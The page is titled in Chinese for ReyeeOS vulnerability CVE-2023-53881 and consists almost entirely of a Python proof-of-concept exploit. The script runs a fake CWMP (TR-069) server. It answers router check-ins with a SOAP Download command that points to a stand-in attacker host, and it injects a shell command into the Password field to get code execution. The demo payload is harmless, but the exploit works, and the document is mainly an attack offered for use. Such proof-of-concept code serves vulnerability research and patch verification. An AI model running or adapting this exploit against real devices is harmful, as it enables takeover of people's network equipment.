CVE-2023-53881 ReyeeOS未加密CWMP通信导致远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2023-53881 - ReyeeOS CWMP MITM RCE PoC Author: VulnCheck Note: For educational and authorized security testing only """ import http.server import socketserver import re import base64 # Malicious CWMP response with embedded command MALICIOUS_COMMAND = "$(echo test > /tmp/pwned)" CWMP_RESPONSE_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/"> <soap-env:Header> <cwmp:ID xmlns:cwmp="urn:dslforum-org:cwmp-1-0">{id}</cwmp:ID> </soap-env:Header> <soap-env:Body> <cwmp:InformResponse> <MaxEnvelopes>1</MaxEnvelopes> </cwmp:InformResponse> <cwmp:Download> <CommandKey>update</CommandKey> <FileType>1 Vendor Configuration File</FileType> <URL>http://attacker-server/fake-config</URL> <Username>admin</Username> <Password>{password}</Password> <FileSize>0</FileSize> <TargetFilename>/tmp/run.sh</TargetFilename> <DelaySeconds>0</DelaySeconds> </cwmp:Download> </soap-env:Body> </soap-env:Envelope>""" class CWMPHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Parse incoming CWMP Inform request content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length).decode('utf-8') # Log the received request for analysis print(f"[*] Received CWMP request from victim") print(f"[*] Request headers: {dict(self.headers)}") # Generate malicious response with RCE payload response_id = "123456" malicious_response = CWMP_RESPONSE_TEMPLATE.format( id=response_id, password=f"admin; {MALICIOUS_COMMAND} #" ) # Send malicious CWMP response self.send_response(200) self.send_header('Content-Type', 'text/xml') self.send_header('Content-Length', len(malicious_response)) self.end_headers() self.wfile.write(malicious_response.encode('utf-8')) print("[+] Sent malicious CWMP response with embedded command") def log_message(self, format, *args): # Suppress default logging pass def start_fake_cwmp_server(port=7547): """Start the malicious CWMP server to receive device connections""" with socketserver.TCPServer(("", port), CWMPHandler) as httpd: print(f"[*] Fake CWMP server listening on port {port}") print(f"[*] Waiting for ReyeeOS device to connect...") httpd.serve_forever() if __name__ == "__main__": start_fake_cwmp_server()